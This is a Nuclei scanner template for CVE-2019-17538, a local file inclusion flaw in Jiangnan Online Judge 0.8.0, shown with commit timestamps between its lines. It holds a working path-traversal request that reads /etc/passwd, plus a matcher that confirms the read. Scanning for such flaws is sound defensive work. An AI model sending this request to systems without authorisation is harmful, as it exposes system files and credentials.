2021-09-30 16:52:05 +00:00
|
|
|
id: CVE-2019-17538
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-09-30 16:52:05 +00:00
|
|
|
info:
|
2022-06-10 15:58:54 +00:00
|
|
|
name: Jiangnan Online Judge 0.8.0 - Local File Inclusion
|
2021-09-30 16:52:05 +00:00
|
|
|
author: pussycat0x
|
|
|
|
severity: high
|
2022-06-20 17:25:18 +00:00
|
|
|
description: |
|
|
|
|
Jiangnan Online Judge (aka jnoj) 0.8.0 is susceptible to local file inclusion via web/polygon/problem/viewfile?id=1&name=../.
|
2023-09-27 15:51:13 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including system files and credentials.
|
2023-09-06 12:53:28 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Jiangnan Online Judge to a patched version or apply the necessary security patches to fix the Local File Inclusion vulnerability.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/shi-yang/jnoj/issues/53
|
2022-06-10 15:58:54 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-17538
|
2024-01-29 17:11:14 +00:00
|
|
|
- https://github.com/Elsfa7-110/kenzer-templates
|
|
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 7.5
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2019-17538
|
|
|
|
cwe-id: CWE-22
|
2024-05-31 19:23:20 +00:00
|
|
|
epss-score: 0.00811
|
|
|
|
epss-percentile: 0.81728
|
2023-09-06 12:53:28 +00:00
|
|
|
cpe: cpe:2.3:a:jnoj:jiangnan_online_judge:0.8.0:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: jnoj
|
|
|
|
product: jiangnan_online_judge
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cve2019,cve,jnoj,lfi
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-09-30 16:52:05 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /jnoj/web/polygon/problem/viewfile?id=1&name=../../../../../../../etc/passwd HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2022-06-20 17:25:18 +00:00
|
|
|
part: body
|
2021-09-30 16:52:05 +00:00
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
2022-06-10 15:58:54 +00:00
|
|
|
|
2022-06-20 17:25:18 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4a0a0047304502203b57c5627b5a07724a21a5b6c66b29bdd3b1853f86c93f7c5d3d8c8cbcae1a09022100af469eb16537815f6a042aa9a7ad7a3bbc7a1e08d77315ae599b5df1c512a322:922c64590222798bb761d5b6d8e72950
|